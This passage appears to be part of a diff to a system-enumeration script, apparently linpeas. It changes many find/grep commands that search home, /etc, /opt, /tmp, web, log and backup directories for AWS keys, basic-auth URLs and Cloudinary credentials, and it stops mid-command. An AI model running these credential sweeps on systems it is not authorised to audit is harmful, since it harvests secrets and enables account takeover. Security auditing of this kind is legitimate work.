120 find $HOMESEARCH -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~" & +print_3title_no_nl "Searching AWS MWS Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching AWS Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~" & +print_3title_no_nl "Searching AWS Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Basic Auth Credentials (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~" & +print_3title_no_nl "Searching Basic Auth Credentials (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Cloudinary Basic Auth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~" & +print_3title_no_nl "Searching Cloudinary Basic Auth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE 